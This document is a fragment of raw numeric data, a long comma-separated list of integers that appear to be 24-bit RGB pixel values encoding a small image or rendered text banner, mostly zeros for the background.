,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,102,11993087,11953664,0,102,11993087,11953664,0,102,11993087,11964560,11983871,16777215,16767926,6684672,0,102,11993087,11964560,11983871,16777215,16767926,6684672,0,0,102,11983871,16777215,16777179,11964474,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,26294,16777179,11974399,16777179,9474230,16777215,14399078,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16767926,9452032,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,3838171,16777215,16777215,14408630,6699520,0,0,0,58,6731483,16777215,16777215,16767926,9452032,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,26294,16777179,11974399,16777179,9474230,16777215,14399078,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,102,11983871,16777215,16777215,14399078,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,102,11993087,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16767888,6699578,3815994,3815994,0,0,102,11993087,11953664,0,102,11993087,11953664,0,102,11993087,16767926,6699578,3816038,11993087,16758374,0,102,11993087,16767926,6699578,3816038,11993087,16758374,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,26294,16777179,9452090,9493503,14389306,3838171,16767888,3801088,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9463354,3815994,9484031,16758374,3801088,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,58,3815994,3816038,9483995,16777142,6684672,0,0,6731519,16777179,9463354,3815994,9484031,16758374,3801088,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,26294,16777179,9452090,9493503,14389306,3838171,16767888,3801088,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,58,9493467,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16767888,6699578,0,0,0,0,102,11993087,11953664,0,102,11993087,11953664,0,102,11993087,14389306,0,0,3838171,16777142,6684672,102,11993087,14389306,0,0,3838171,16777142,6684672,102,11993087,11953664,0,0,6731519,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,14389306,0,58,9493503,14389306,0,0,58,9493503,14389306,0,0,0,0,0,0,58,3815994,3816080,14417883,9452032,0,102,11993087,11953664,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,102,11993087,11953664,0,102,11993087,11953664,0,102,11993087,11953664,0,0,26294,16777142,6684672,102,11993087,11953664,0,0,26294,16777142,6684672,14992,14417919,11953664,0,0,6731519,16758374,0,0,102,11993087,11953664,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,58,9493503,14389306,0,0,0,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,14992,14417883,9452032,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,102,11993087,11953664,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816080,11993087,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,102,11993087,14389306,0,0,3838171,16777142,6684672,102,11993087,14389306,0,0,3838171,16777142,6684672,102,11993087,11953664,0,0,6731519,16758374,0,0,102,11993087,11953664,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,58,9493503,14389306,0,0,0,0,26294,16777142,6684672,0,102,11993051,9452032,0,102,11993087,11953664,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,102,11993087,16758374,3815994,6721755,16777215,11953664,0,102,11993087,16767926,9452090,3816038,11993087,16758374,0,102,11993087,16767926,9452090,3816038,11993087,16758374,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,58,3816038,11993087,11953722,3815936,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,11953722,3815994,3815994,3815936,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,6731519,16767926,6699578,3815994,3815994,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,0,6731519,16777179,11953722,3815994,3815994,3815936,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,58,3816038,11993087,11953722,3815936,0,0,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,58,9493467,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,26294,14417919,16777215,14389392,11983871,16777215,11953664,102,11993087,11964518,11983871,16777215,16767926,6684672,0,102,11993087,11964518,11983871,16777215,16767926,6684672,0,0,102,11983871,16777215,16777179,11964474,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16777215,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,58,6731483,16777215,16777215,16777215,14389306,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,58,6731483,16777215,16777215,16777215,11953664,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,102,11993087,14389350,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,6710842,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,